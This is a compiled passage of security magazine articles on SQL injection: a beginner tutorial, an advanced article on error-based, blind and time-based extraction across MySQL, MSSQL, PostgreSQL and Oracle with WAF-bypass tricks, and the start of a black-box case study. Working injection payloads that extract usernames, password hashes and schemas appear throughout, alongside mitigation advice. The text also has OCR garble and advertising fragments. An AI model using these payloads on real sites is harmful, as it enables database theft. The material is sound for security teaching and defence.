group_concat(username,0x3a,password),4 from users-

Ox3a is the HEX form of column(:)

Now we will find the data from the table "users" on the screen as

adminuser:adminpass (Example)

Blind SQL Injection

Blind SQL Injection is the hardest part of SQL Injection. We will go for blind SQL Injections when we don't get any errors on the page even if it is vulnerable to SQL Injection. \odot

We will go with the same vulnerable link here.

Testing for vulnerability

http://www.site.com/gallery.php?id=3 and 1=1

1=1 is always true so the page loads normally.

http://www.site.com/gallery.php?id=3 and 1=2

 $_{1=2}$ is always false, so the page should not load normally. It means, some content from the site will miss. If it happens the site is Vulnerable to blind SQL Injection.

Getting MySQL Version

To get the MySQL version in blind injection attack we use substring.

This should return TRUE if the version of MySQL is 4. Replace 4 with 5, and if query return TRUE then the version is 5.

Checking for SUBSELECT

When select don't work then we use subselect.

http://www.site.com/gallery.php?id=3 and (select 1)=1

If page loads normally then subselect work. Then we are going to see if we have access to mysql.user

http://www.site.com/news.php?id=7 and (select 1 from mysql.user limit 0,1)=1

If page loads normally we have access to mysql.user.

Finding out tables and column names

This is the step where we have to guess the table names and column names. We should have some luck and a little knowledge of databases to guess the table names and column names.

http://www.site.com/gallery.php?id=3 and (select 1
from users limit 0,1)=1

subselect returns one row, so in the above query limit 0,1 returns only one row of data.

With the above query, if the page loads normally then the table "users" exists. If some content is missing, then we need to guess the right table.

Let us assume that we got the table "users". Now we need to guess the column name from the table "users".

http://www.site.com/gallery.php?id=3 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

If the column exists, then the page will load normally. If it doesn't exist, we should guess some other column name.

Pulling data from the database

Let us assume we found table users and columns username password so we are going to pull characters from that.

http://www.site.com/gallery.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

This here pulls the first character from first user in table users. Substring here returns first character and

1 character in length. ascii() converts that 1 character into ascii value and then compare it with symbol greater then >. So if the ascii char greater then 80, the page loads normally. (TRUE) we keep trying until we get false.

http://www.site.com/gallery.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

We get TRUE, keep incrementing.

http://www.site.com/gallery.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/gallery.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

So the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

So keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

Here is an ascii converter chart online *http://* easycalculation.com/ascii-hex.php.

Blind SQL Injection is the most time consuming injection. So people prefer to use tools to do this attack. SQLMAP is the best tool to do this.

Prevention Techniques

All the above techniques are very common in web applications due to three reasons.

They are:

- The existance of SQL Injection vulnerabilities in web applications because of it's dynamic nature.
- Attractiveness of the attack and target.
- · Lastly, it is very is to exploit.

To prevent SQL Injection vulnerabilities in web applications,

- Stop writing dynamic queries or
- · Preventing the execution of malicious user input.

Stopping writing dynamic queries is not a good practice because; it doesn't make sense if we stop utilizing the latest existing features. We need to provide some sort of limitations in order to secure our web applications.

So the following techniques can be used to avoid SQL Injection vulnerabilities.

SQL INJECTION

String query = "SELECT * FROM users WHERE user_name = "
 + request.getParameter("username");

try {

Statement statement = connection.createStatement(...); ResultSet results = statement.executeQuery(query);

The above code is a sample vulnerable code which allows an attacker to execute his malicious input to get results from the database. The problem in the above code is that the parameter username is directly appended to the actual query without any checking.

Using PARAMETERIZED queries

In the above case, a developer should use a parameter instead of injecting the values directly into the command. The attack above would not have been possible if parameterised queries had been used.

String usr = request.getParameter("username"); String query = "SELECT * FROM users WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, usr); ResultSet results = pstmt.executeQuery();

In the above case, even if the attacker passes an SQL string (x' or 'x'='x) as we have seen in simple SQL Injection, it will not allow an attacker to get in, because in the previous case, it is directly appended to the query. This time, the entire string will be checked and if there is anything like x' or 'x'='x in the database, then only the attacker will be able to login which is almost impossible.

Using Stored Procedures

Use of stored procedure is similar to parameterized queries and provides safety if it is used in a safe manner. If access to the data in SQL Server is only ever permitted via stored procedures, then permission does not need to be explicitly set on any of the tables. Therefore, none of the tables should ever need to be exposed directly to outside applications. For an outside application to read or modify the database, it must go through stored procedures. Even though some stored procedures, if used incorrectly, could potentially damage the database.

This is one of the safest techniques to protect our web applications. If we take an example of a website having passwords, they will be always inside the database but will not be exposed to outside at any cost.

Cleaning and Validating Input

This is very important in developing a web application. ' quote plays a major role in SQL Injection attacks. A developer should replace the single quotes with possible double quotes in order to avoid the confusion on the database.

Salts and Hashes

Encrypting the sensitive data is one more major defence against protecting data in a database. For items such as passwords, the user's password can be stored as a "salted hash". What happens is that when a user creates a password, a randomly generated "salt" value is created by the application and appended to the password, and the password-and-salt are then passed through a one way encryption routine. The result is a salted hash which is stored in the database along with the clear text salt string. The value of a salted hash is such that a dictionary attack will not work as each dictionary would have to be rebuilt appending the various salt values and re computing the hash values for each item. While it is still possible to determine the password by brute force, the use of the salt (even though it is known) greatly slows down the process. The second advantage of the salt is that it masks any situations where two independent users happen to use the same password, as the salted hash value for each user would be different if given different salt values. Thus use of salts and hashes greatly protects sensitive credentials like usernames and passwords.

Least Privilege Database account

Running an application that connects to the database using the *database's administrator* (DBA) account has the potential for an attacker to perform almost limitless commands with the database.An attacker can do anything that an administrator can do. So a developer should minimize the privileges on every database account. A Developer should make sure that accounts that only need read access are only granted read access to the tables.

If it is needed to adopt a policy where we use stored procedures everywhere, and don't allow application accounts to directly execute their own queries, then a developer should restrict those accounts to only be able to execute the stored procedures they need without granting them any rights directly to the tables in the database.

SRINIVASA RAO

Srinivasa Rao is the administrator of http:// www.hackinginception.com where he writes hacking articles for beginners. He is a guest author at www.101hacker.com.



CRC Press

Enter promo code **510HA** at checkout to **SAVE 50%**



Offer expires 12/31/2011

ONDemanD Advanced SQL Injection in the real world

These days, most information security experts are well aware of almost all the classes of typical threats and vulnerabilities of information systems. But so are hackers. This means that the information system properties, which an attacker can leverage to harm the system owner interests, have become common knowledge.

ortunately enough, quite a few public resources provide practical techniques for protecting information systems, as well as separate applications. In the field of web application security the most prominent communities are OWASP and WASC.

However, along with the development of such user-oriented projects, the reverse trend aiming to find ways of hacking a database also evolves. With hackers constantly improving their skills and global expansion of web technologies that require database usage, researchers faced a challenge and started to investigate the problem. This is how the term *SQL Injection* appeared. With time, this vulnerability became well-known, bringing fun to some and trouble to others.

SQL Injection is a hacking technique that enables hacker to bypass firewall and attack database. In this method, the parameters that web application sends to the database are modified to affect the query executed by SQL application. Malicious data can be injected through all available means of interaction with the SQL application.

If the injection completes successfully, hacker may be able to gain access to:

- classified data and/or system configuration settings, which can be used to develop the attack vector (for example, modified SQL query may return hashed user passwords, which can later be brute-forced);
- other systems via the database host computer (this can be achieved by using database procedures and 3GL programming language extensions that support interaction with operating and file systems).

There exist several SQL Injection exploitation techniques:

- Classical SQL Injection
- Blind SQL Injection
 - Classical Blind SQL Injection
 - · Error-Based Blind SQL Injection
- Double Blind (or Time-Based) SQL Injections

Let us discuss each technique in more detail. Considering that exploitation of SQL Injection strongly depends on the Structured Query Language peculiarities, the examples we use in this article chiefly apply to the widely-spread database management system MySQL.

Classic SQL Injection

A classic approach to exploitation of SQL Injection vulnerabilities primarily consists in combining two SQL queries in order to obtain extra information out of a certain table/file. A possibility of classic SQL Injection attack facilitates obtaining useful information. The attack is conducted by means of the *union* operator or by SQL query separation (by semicolons). In case when a return page body contains only one entry from the table, line-by-line reading technique is used. Below is an example of the query for an attack against the MySQL database: Listing 1.

For other databases, queries will be slightly different. However, it's not the query itself that does the trick. There are two main things to keep in mind.

 First of all, some databases (for instance, Oracle, MSSQL, PostgreSQL, and others) support query separation by semicolons, thus allowing one not only to obtain data from a table, but to edit the content of the table by means of, for example, INSERT-type operators. By the way, the above PostgreSQL example will work equally well with the query separation used instead of the *union* operator.

 Secondly, unlike MySQL, a number of databases do not perform implicit type conversion. For instance, Oracle is one of such databases, so one should use explicit type conversion or the magic word *null* to ensure correct processing of an SQL query.

It should be mentioned that obtaining data from a large table using the line-by-line reading technique takes quite a lot of time. So, when DBMS queries are executed by a privileged user (for example, file_priv for MySQL), the SELECT query result can be output into the file:

In fact, once the SQL Injection exploitation provided you with a possibility to work with a file system, you're a footstep away from a possibility to execute commands on the server. Besides, industrial databases, such as MSSQL, have the command line interaction interface embedded into the DBMS architecture. For that reason, according to the general terminology, SQL Injections belong to the class of Command Execution vulnerabilities.

It's worth noting that if data is injected into a query of the INSERT/UPDATE/DELETE type with MySQL being the database in consideration, it is impossible to output the results to a file by means of subqueries due to database restrictions.

For cases when data is injected into an SQL query executed in a table with limited number of columns, it is common to use data concatenation functions, such as concat() and concat_ws():

Other databases distinct from MySQL might use other symbols for concatenating data, for example, '&', '||', '+'.

If there are still some "remnants" of a "good" SQL query left after the injection has been performed, e.g. "limit..." or "order by..." constructions, these remnants are removed by means of the following comments:

```
?/id=1 union select login,password from users-++
?/id=1 union select login,password from users/*++
...
```

It's not just a mere coincidence that the above examples contain two characters '++'. Data transferred by the GET method will be converted into spaces when the web server sends them to the database. RFC will interpret the resulting query as an absolutely correct one.

Everything is plain and simple. Or, rather, it *was* plain and simple until rugged administrators started using various security filters (aka WAF, Web Application Firewall) to protect vulnerable web applications. Such solutions are mostly based on signature analysis and this is their main flaw. The SQL features and a huge variety of databases in many cases allow bypassing the filtration of the incoming data.

For example, below is a universal vector of bypassing <code>mod_security</code> protection against SQL Injection in default rules:

. . .

It really works because when MySQL encounters a statement containing /*!bla-bla*/ and /*!12345bla-bla*/,

Listing 1. Classic SQL Injection

```
?/id=1 limit 0 union select login,password from users limit 0,1
?/id=1 limit 0 union select login,password from users limit 1,1
...
?/id=1 limit 0 union select login,password from users limit 1 offset 0
?/id=1 limit 0 union select login,password from users limit 1 offset 1
(the latter two are equally possible for both MySQL and PostgreSQL).
...
```

it will interpret the bla-bla as an SQL code. As for the case of 12345, MySQL compares this number with its own version. If the running version number is higher, the SQL query will be executed. Meanwhile, the "sensible" mod_security, before comparing the query with its signatures from the SQL Injection vulnerability base, gets rid of extra data in the incoming query, namely, of the /**/-type comments.

Another example of a "self-made" PHP filter is provided below. This filter was encountered in real life:

```
...
if (ereg ("^(.){1,3}$", $_GET['id'], $regs)) {
mysql_query("SELECT id,email FROM members where id=".$_
GET['id']);
```

The attack can be conducted by means of the *null-byte* symbol:

This method is workable because the outdated *ereg* function interprets strings as binary data, while the first three symbols correspond to a regular expression.

Another filter, which was once employed for protection of quite a well-known product, used to get alarmed with queries of the following type:

/?id=1 union select password from users

Yet, the following queries caused no reaction at all:

/?id=1 union select passwd from users
/?id=1 union select pass from users
/?id=1 union select password from user
/?id=1 union select login from users--

etc.

But what if you need to use exactly the column *password* and the table *users*? As an option, you can try a blind method of exploitation:

But in our case, the filter was bypassed in a far more elegant way. The signature reacts only on the substrings *password* and *users* following the key word *union*. Taking that into account, you can create the following query which will bypass the filter:

etc.

However, an SQL Injection does not always provide a possibility to influence the data returned by the application. When no such modification is possible, the vulnerability is called blind. It's worth mentioning that it is various *blind* types of the SQL Injection that allow bypassing many filters (including WAF).

Blind SQL Injection

A Blind SQL Injection is used when the vulnerable query represents a certain part of application's logic but does not allow displaying any data on the return page. The Blind SQL Injection technique provides possibilities that are comparable to those of the classic one: it allows writing and reading files and obtaining data from tables, however, the reading in this case is carried out character by character. The traditional exploitation of such vulnerabilities employs true/false statements. If the statement is true, the web application will respond with content of one type; if it is false, the respond will contain another type of content. Using the difference in the output data for true and false query statements, one can receive table or file data character by character.

A Blind SQL Injection is possible in the following cases:

 An attacker cannot control data displayed to a user as a result of an SQL query.



Figure 1. Error-based SQL Injection in Microsoft SQL Server

- Data is injected into two distinct SELECT queries which, in their turn, retrieve data from tables with a different number of columns.
- Request concatenation is filtered (e.g., by WAF).

An example of PHP code vulnerable to the Blind SQL Injection is provided Listing 2.

The vulnerability can be exploited in the following way:

If the *Users* table contains the *Pass* column and the first character of the first entry in this column equals 97 (character a), then MySQL will return *TRUE* and the request will be true. Otherwise, MySQL will return *FALSE*, and for the above code, the page will display an error message.

It goes without saying that the approach can be a bit simplified in a few ways. One way is to use a binary tree. Another, even simpler way is to get use of the design of the application. For example, SQL Injection vulnerabilities are very common for numeric application parameters. Depending on the number specified, the web application returns different content. Thus, by comparing the numbers with the content and mapping them with the characters being matched, one can easily read the table data. It can be illustrated in the following way:

A news title 111 - the identifier in the parameter id=3245 - a character being matched 0

A news title 222 – the identifier in the parameter id=2456 – a character being matched 1

A news title 333 – the identifier in the parameter id=4562 – a character being matched 2

etc.

Below are some examples of queries used for the attack (for example, for accurate identification of the first character in an MD5 hash): Listing 3.

Keep in mind that this method has restriction for the length of an HTTP request (the restriction is distinct for different web servers). In all other respects, the approach is quite efficient in cases when easier

Listing 3. Queries used for the attack

```
/?id=if((mid((select pass from users limit 0,1),1,1)in('0'))>0,(3245),
if((mid((select pass from users limit 0,1),1,1)in('1'))>0,(2456),
if((mid((select pass from users limit 0,1),1,1)in('2'))>0,(4562),
if((mid((select pass from users limit 0,1),1,1)in('3'))>0,(12345),
if((mid((select pass from users limit 0,1),1,1)in('4'))>0,(12346),
if((mid((select pass from users limit 0,1),1,1)in('5'))>0,(12347),
if((mid((select pass from users limit 0,1),1,1)in('6'))>0,(12348),
if((mid((select pass from users limit 0,1),1,1)in('7'))>0,(12349),
if((mid((select pass from users limit 0,1),1,1)in('8'))>0,(12350),
if((mid((select pass from users limit 0,1),1,1)in('9'))>0,(12351),
if((mid((select pass from users limit 0,1),1,1)in('a'))>0,(12352),
if((mid((select pass from users limit 0,1),1,1)in('b'))>0,(12353),
if((mid((select pass from users limit 0,1),1,1)in('c'))>0,(12354),
if((mid((select pass from users limit 0,1),1,1)in('d'))>0,(12355),
if((mid((select pass from users limit 0,1),1,1)in('e'))>0,(12356),
if((mid((select pass from users limit 0,1),1,1)in('f'))>0,(12357),
```

methods do not work. Generally speaking, this method is universal since it does not depend on a database being used.

Yet, really quick exploitation methods for the Blind SQL Injection vulnerabilities were developed in the field of the Error-Based Blind SQL Injection.

Error-Based Blind SQL Injection

Error-Based Blind SQL Injection is the quickest technique of Blind SQL Injection exploitation. This method is based on the fact that various DBMSs can place sensitive information (e.g. the database version) into the error messages in case of receiving an illegal SQL expression. This technique can be used if the vulnerable application returns a message when any SQL expression processing error occurs in the database.

For MSSQL, the Error-Based Blind SQL Injection technique appeared in 2003 or so. An error occurs in the database when data type conversion is performed improperly, which allows a malicious user to receive sensitive information from the returned error message: Listing 4 and Figure 1.

Thus, it becomes possible to retrieve the required information from a certain DBMS rather quickly by

exploiting a SQL Injection vulnerability as described above. For example, you can recover the database structure in the following way: Listing 5.

If we take into account that Sybase ASE is based on Transact-SQL as MS SQL Server is, then we can say with confidence that the considered technique can be applied to this DBMS, too. Experiments with Sybase ASE strongly confirm this assumption.

The same tricks with type conversion can be used for PostgreSQL:

web=# select cast(version() as numeric); ERROR: invalid input syntax for type numeric: "PostgreSQL 8.2.13 on i386-portbld-freebsd7.2, compiled by GCC cc (GCC) 4.2.1 20070719 [FreeBSD]"

To obtain sensitive information, one can exploit an SQL Injection vulnerability in the application operating under PostgreSQL by executing the following queries: Listing 6.

Constructions $:: {\tt text}:: {\tt int}$ can be used instead of as numeric (Figure 2).

However, such trick will not work for the MySQL database. This is why there had been no exploitation techniques for Error-Based Blind SQL Injection

```
Listing 4. Error - Based Blind SQL Injection
```

```
select convert(int,@@version);
Msg 245, Level 16, State 1, Line 1
   Jul 9 2008 14:43:34
   Copyright (c) 1988-2008 Microsoft Corporation
   Enterprise Edition on Windows NT 6.1 <X86> (Build 7600: ) (VM)
' to data type int.
Listing 5. Recovering the database structure
http://server/?id=(1) and (1) = (convert(int, (select+table name+from(select+row number()+over+(order+by+table
                    name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=1)))--
http://server/?id=(1) and (1) = (convert(int, (select+table name+from(select+row number()+over+(order+by+table
                    name)+as+rownum,table name+from+information schema.tables)+as+t+where+t.rownum=2)))--
Listing 6. SQL Injection vulnerability in the application
http://server/?id=(1) and (1) = cast((select+table name+from+information schema.tables+limit+1+offset+0) + as+numeric
                    ) --
http://server/?id=(1) and (1) = cast((select+table name+from+information schema.tables+limit+1+offset+1) +as+numeric
                    ) ---
```



Figure 2. Error-based SQL Injection in PostgreSQL

vulnerabilities in MySQL until 2009, when a researcher under the pseudonym Qwazar described new ways to exploit Blind SQL Injection vulnerabilities in his article for the Russian Hacker magazine.

The first idea was to use illegal regular expressions that cause various errors when a SELECT query is executed by MySQL (exactly when it is executed, not verified). Qwazar used this method in conjunction with the method proposed by Elekt (select 1 union select 2) to show how an attacker can receive up to 12 characters of valuable information via one query to the web application. The query looks as follows: Listing 7.

Thus, if there is the column pass in the table users and the first character of the first entry in this column is 0,

Listing 7. How attacker can receive up to 12 characters of information

```
/?id=1 AND 1 rlike concat(
```

```
if((mid((select pass from users limit 0,1),1,1)in('0'))>0,(0x787B312C3235367D),
if((mid((select pass from users limit 0,1),1,1)in('1'))>0,(0x787B312C38),
if((mid((select pass from users limit 0,1),1,1)in('1'))>0,(0x5B5B3A5D5D),
if((mid((select pass from users limit 0,1),1,1)in('3'))>0,(0x5B5B),
if((mid((select pass from users limit 0,1),1,1)in('4'))>0,(0x28287B317D),
if((mid((select pass from users limit 0,1),1,1)in('5'))>0,(0x0),
if((mid((select pass from users limit 0,1),1,1)in('5'))>0,(0x28),
if((mid((select pass from users limit 0,1),1,1)in('6'))>0,(0x28),
if((mid((select pass from users limit 0,1),1,1)in('7'))>0,(0x5B322D315D),
if((mid((select pass from users limit 0,1),1,1)in('8'))>0,(0x5B5B2E63682E5D5D),
if((mid((select pass from users limit 0,1),1,1)in('9'))>0,(0x5C),
if((mid((select pass from users limit 0,1),1,1)in('a'))>0,(select 1 union select 2),(1))))))))))))
```

Listing 8. Applying approach to MySQL version 5.0 and later

Listing 9. Receiving the target data

```
mysql> select 1 and row(1,1)>(select count(*), concat(version(), 0x3a, floor(rand()*2))x from (select 1 union select
2) a group by x limit 1);
...
1 row in set (0.00 sec)
...
mysql> select 1 and row(1,1)>(select count(*), concat(version(), 0x3a, floor(rand()*2))x from (select 1 union select
2) a group by x limit 1);
ERROR 1062 (23000): Duplicate entry '5.0.84:0' for key 1
```

l 🛛 🗢 🔿 🔯 🙆 🥢 🗋 http://192.168.192.7/news.php?id_news=(1)and(select%201%20from(select%20count("),concat(version(),floor(rand(0)*2));%20from%20information_schema.txi

Query failed: Duplicate entry '5.0.841' for key 1

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /usr/local/www/data-dist/news.php on line 10

Figure 3. Error-based SQL Injection in MySQL

then MySQL will return an error message "#1139 – Got error 'invalid repetition count(s)' from regexp". If the first character is 1, then another unique error message will be received: "#1139 – Got error 'braces not balanced' from regexp", and so on.

The second suggestion was to use an error message returned by MySQL as a container for valuable data (as they do for MSSQL when type conversion is performed improperly) for quick exploitation of Blind SQL Injection vulnerabilities. For example, let us consider the following query:

This query will return an error message containing valuable data from the *pass* column, e.g., an MD5 hash:

This method allows one to receive up to 64 bytes of valuable data via one query to the web application. Use of string concatenation functions <code>concat()</code> and

ORA-06512: at "SYS.XMLTYPE", line 301

ORA-06512: at line 1 no rows selected

 $_{\text{concat}_ws()}$ make it possible to receive the database dump rather quickly. Unfortunately, this trick with the $_{\text{name}_const()}$ function will work only for MySQL versions 5.0.12–5.0.64.

We tried to find an equivalent of the function $name_const()$ and discovered another useful function ExtractValue() introduced in MySQL version 5.1.5. This function is meant for extraction of values from an XML data stream. Meanwhile, this function has another, hacker application. Let us consider the following query:

The following error message will be returned:

XPATH syntax error: \\f8d80def69dc3ee86c5381219e4c5c8'

Thus, we can read data from a table by exploiting Blind SQL Injection vulnerabilities in MySQL 5.1.5 and later. The limit is 31 bytes of useful information per query. An error message "XPATH syntax error" is returned in response to the same old illegal regular expression $\$.

So then in the beginning of 2010, our old acquaintance Qwazar proposed a universal exploitation technique for SQL Injection vulnerabilities in applications operating under MySQL. It was a rather complex and unobvious

26

SQL>

technique, we must say. Here is an example of applying this universal approach to MySQL version 5.0 and later: Listing 8.

If the table name is not known (e.g., in MySQL 5.0 and earlier), more complex queries entirely based on the function rand() should be used. It means that in some cases, it will take more than one HTTP request to receive the target data (Listing 9).

Below is an example of practical use of the described technique for database structure recovery: Listing 10.

The method proposed by Qwazar works for all MySQL versions including 3.x, which still can be found on the Web. For MySQL 3.x, the attack vector looks as follows:

However, many flaws have been revealed in this method over the last two years. We cannot cover all of them in this article, but the most considerable shortcomings are the following:

- The technique can only be applied to tables with more than two rows.
- To induce a query error when extracting data from columns like VARCHAR and longer (depending on the platform), it is necessary to use cut string functions (e.g., MID)

As for the Oracle database, similar techniques for hacking it have been known since a long time ago. For example:

```
/?param=1 and(1)=(utl_inaddr.get_host_name((select
banner from sys.v_$version where rownum=1)))--
...
```

However, we were searching for a fresh perspective, which was found at last in the $x_{MLType()}$ function that returns the first symbol of the requested data in the error message (LPX-00XXX): Listing 11.

Moreover, the substr() function provides the means to extract data character by character. For example, it won't take you long to determine the database version as shown Listing 12.

Listing 12. Determining the database

```
select XMLType((select substr(version,1,1) from v$instance)) from users;
select XMLType((select substr(version,2,1) from v$instance)) from users;
select XMLType((select substr(version,3,1) from v$instance)) from users;
...etc.
```

Listing 13. Return required data by an error message

```
SQL> select XMLType((select '<abcdef:root>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00234: namespace prefix "abcdef" is not declared
...
SQL> select XMLType((select '<:abcdef>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
LPX-00110: Warning: invalid QName ":abcdef" (not a Name)
...
```

SQL>

Listing 14. Query returns the following unwanted error

```
SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual);
select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual)
ERROR at line 1:
ORA-00932: inconsistent datatypes: expected NUMBER got -
```

* *

*

ONDemanD

😥 🕥 🥓 📱 http://webtest/ora/test.php?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr 🗸 🔧 Google

Warning: oci execute() [function.oci-execute]: ORA-31011: сбой разбора XML ORA-19202: Возникла ошибка при обработке XML LPX-00110: Warning: недопустимый QName "::61646D696E3A3A5040737377307264" (не является Name) Error at line 1 ORA-06512: на "SYS.XMLTYPE", line 301 ORA-06512: на line 1 in C:\Inetpub\webtest\ora\test.php on line 17

Fatal error: ORA-31011: ňálé ðaçálða XML ORA-19202: Âîçièêëà îøèáêà iðè îáðaálóêå XML LPX-00110: Warning: iåälióñòèlûé QName "::61646D696E3A3A5040737377307264" (iå ÿâëÿåôñÿ Name) Error at line 1 ORA-06512: ià "SYS.XMLTYPE", line 301 ORA-06512: ià line 1 in C:\Inetpub\webtest\ora\test.php on line 20

Figure 4. Error-based SQL Injection in Oracle DBMS

Research also showed that $x_{MLType()}$ can force error message to return the required data in the way it is done on other databases: Listing 13.

However, this method needs a little tweaking due to Oracle database peculiarities. First of all, since Oracle DBMS does not support implicit type conversion, the above query returns the following unwanted error: Listing 14.

Secondly, the lack of LIMIT and OFFSET clauses hampers line-by-line data extraction. And, to crown it all, $_{\rm XMLType()}$ tends to cut out data that being returned in the error message comes after certain symbols, such as space or $_{\odot}$.

Yet, this is no time to panic. The type conversion issue is resolved with the help of the upper() function. The lineby-line data extraction can be implemented with the following adjustment to the query: select id from(select id,rownum rnum from users a)where
 rnum=2:

. . .

Hex coding helps avoid data loss. You may also consider eliminating quotation marks from the query text, so that it bypasses application's filters for incoming requests. To do this, use the ASCII character-encoding scheme.

After all the editing, the resulting query will look roughly as follows: Listing 15.

The described method allows extraction of up to 214 bytes (107 symbols in case of hex coding) of valuable information in one HTTP request, provided that an application runs under Oracle DBMS 9.0 or earlier and returns the following error: Listing 16.

UTL RAW.CAST TO VARCHAR2('61646D696E3A3A5040737377307264')

admin::P@ssw0rd SQL>

C:\Windows\System32\cmd.exe



Figure 5. *Proof-of-concept time-based SQL Injection exploration*



To decode the extracted data, standard Oracle function can be used: Listing 17 and Figure 4.

Double Blindness

There are some cases when, besides suppression of all error messages on pages returned by web application, vulnerable SQL queries are used for some internal purposes, for example, for some event logging or internal optimization. Related SQL-Injections belong to the group of Double Blind (or Time-Based) SQL Injections.

The exploitation technique for this type of SQL Injection is based on time delays between a query sent to a web application and its response. You can specially craft such a delay, for instance, by creating an appropriate loop via <code>while()</code>. Classically, the <code>benchmark()</code> function is used for exploiting the vulnerability under MySQL. However, the best practice is to apply <code>sleep()</code>. The <code>sleep()</code> function is more secure since it does not consume server CPU resources, unlike <code>benchmark()</code>. Below is an example of a simple character-by-character brute force script involving time delay (Listing 18 and Figure 5).

As demonstrated above, alphabetical order is used in the p_{srt} array for brute force. The script consecutively checks every character for its matching a database character. You can try to speed up the process by arranging characters in a more opportune order or by using a binary tree.

Instead of Conclusion

While this article was being prepared, new interesting techniques of SQL Injection exploitation in Oracle DBMS were developed. As we can see, this field is very promising and thriving, and an enthusiastic researcher will always have an opportunity to discover something new. Have fun!

DMITRY EVTEEV http://devteev.blogspot.com/, Positive Technologies Co.

ONDemanD SQL Injection: A Case Study

We were recently engaged to perform a black-box security evaluation of a client's web site that, in part, used SQL. We demonstrated the significance of how devastating a SQL injection attack can be. In order to combat the prevalence of this vulnerability, we strongly recommend that all developers follow the best practice guidelines we outline in this article.

he scenario described here is pedagogical and so some liberties were taken to gear this discussion strictly to the topic of SQL-injection. Here we describe a subset of the actions taken and the results obtained.

Introduction

SQL injection and associated vulnerabilities are possible due to three common, yet critical design flaws. Lack of input sanitization, unnecessary construction of dynamic gueries, and failure to adhere to the Principle of Least Privilege. Through our case study, we demonstrate how each of these design flaws can lead to information or system compromise. Input sanitization refers to the removal of unwanted, unexpected or harmful data from application inputs. This can refer to the removal or reformatting of unwanted characters or keywords, the truncation of excessively long inputs, or the general restructuring of an input such that it is as it is expected to be. The need for input sanitization reaches far beyond the prevention of SQL injection attacks alone, and is the cause of crosssite scripting, buffer overflow, and a host of other injection vulnerabilities. With SQL injection, input sanitization is of particular importance, as many common characters are included in the syntax of SQL statements, including ones that you might anticipate to find within the user's input. For example, the single quote character (') is used in SQL statements to designate the start and end of a string value, but the single quote character is also commonly found in proper names and sentence punctuation. The following dynamically generated SQL statement would then break if the last name "O'hara" was input:

SELECT * FROM users WHERE last name='O'hara';

The syntax of this statement is incorrect and would result in an error, because it appears to the SQL interpreter that it should execute a statement selecting data from all users with the last name "O" followed by the unrecognized keyword "hara" and additional single quote and semi-colon.

The dynamic nature of the above example is also problematic, in the sense that the statement to be executed by the SQL interpreter is created on the fly as the input is entered. In the above case, the first part of the statement SELECT * FROM users WHERE last_name=' is concatenated with a user-input value and a closing single quote character. Because of this, an attacker could input values such that the intended SQL statement becomes an entirely different statement. For example, entering the last name value Jones' OR `1'='1 causes the application to create the following statement, which is markedly different than what was intended:

SELECT * FROM users WHERE last name='Jones' OR `1'='1';

Rather than select the date of the user with last name "Jones," this statement will select the data of all users.

As with a lack of input sanitization, the consequences of these dynamic statements are prevalent in other forms of injection attacks, such as XPATH and LDAP injection. Fortunately, there are elegant methods for avoiding dynamic statements, such as using prepared statements and stored procedures, which we discuss later in the mitigations section.

The third design flaw we mention is the failure to adhere to the Principle of Least Privilege, which bluntly asserts that a person, process or device should only have access to the minimum information or resources required to perform its duties. This could be the restriction of read, write or execute privileges, limitations on storage space, or restrictions on the timeavailability of access to resources. With SQL injection vulnerabilities, our primary concern is with what access the calling service (most often a web server) has access to within the database. More often than one might expect, web services are granted full, administrative access to the database system when not only should read-only access be enforced, but read-only access to the minimum set of information required for the application to function.

Attack Plan

Since this evaluation began as a black-box security assessment, we began by laying out our attack plan and including a number of reconnaissance steps. This is an excerpt of our plan pertaining to SQL injection vulnerabilities.

- · Identify inputs to the system.
- Determine if a SQL server is running / handling these inputs.
- Determine if SQL injection is possible.
- Fingerprint the SQL server.
- · Determine if we can embed/concatenate statements.
- Determine if we can modify the database.
- Determine if we can map the database.
- · Determine if we can harvest the database.
- Determine if we can compromise the host server itself.

A good starting point for any black-box investigation is to run a web application scanner on the target application. These scanners can sometimes identify inputs that are not readily noticeable to the naked eye, and at the very least can quickly enumerate the inputs that make up the attack surface. However, as with any black-box assessment, the plan needed to be adapted and extended as we encountered various pitfalls. First and foremost, our initial set of inputs to the system was limited to the log on interface. This included user name and password entry fields, as well as a field for submitting an email address if a password was forgotten.

Determine if SQL is used, injectable

Our first, most basic test to determine if SQL is being used, is to try to cause an error by corrupting a SQL statement. We've already touched on how this can happen above, but now our attempt is more targeted. We enter a single quote character in each field, hoping to truncate or corrupt a dynamically generated SQL query, and cause an error. We are assuming here that the SQL statement might look something like the following: SELECT <something> WHERE <something>='<one of our inputs>';

Adding a single quote in the first example would cause a SQL statement to be constructed with an extra quote, resulting in an invalid statement and error.

No luck. The error message returned immediately was "invalid username or password". In many vulnerable cases, we would expect to see a detailed error message returned from the web server – a drastic information leakage vulnerability that would have immediately identified to us that *yes*, a SQL server is present, a fingerprint, and possibly even a version identifier of the server and information about the database such as table and field names which we would not ordinarily know.

Though we didn't receive the detailed message we were hoping for, it did not mean our SQL injection attack did not cause an internal error. We may now have to rely on what is referred to as a "blind SQL injection" attack. This is an attack where the results may not be displayed to the user, at least not in the typical sense.

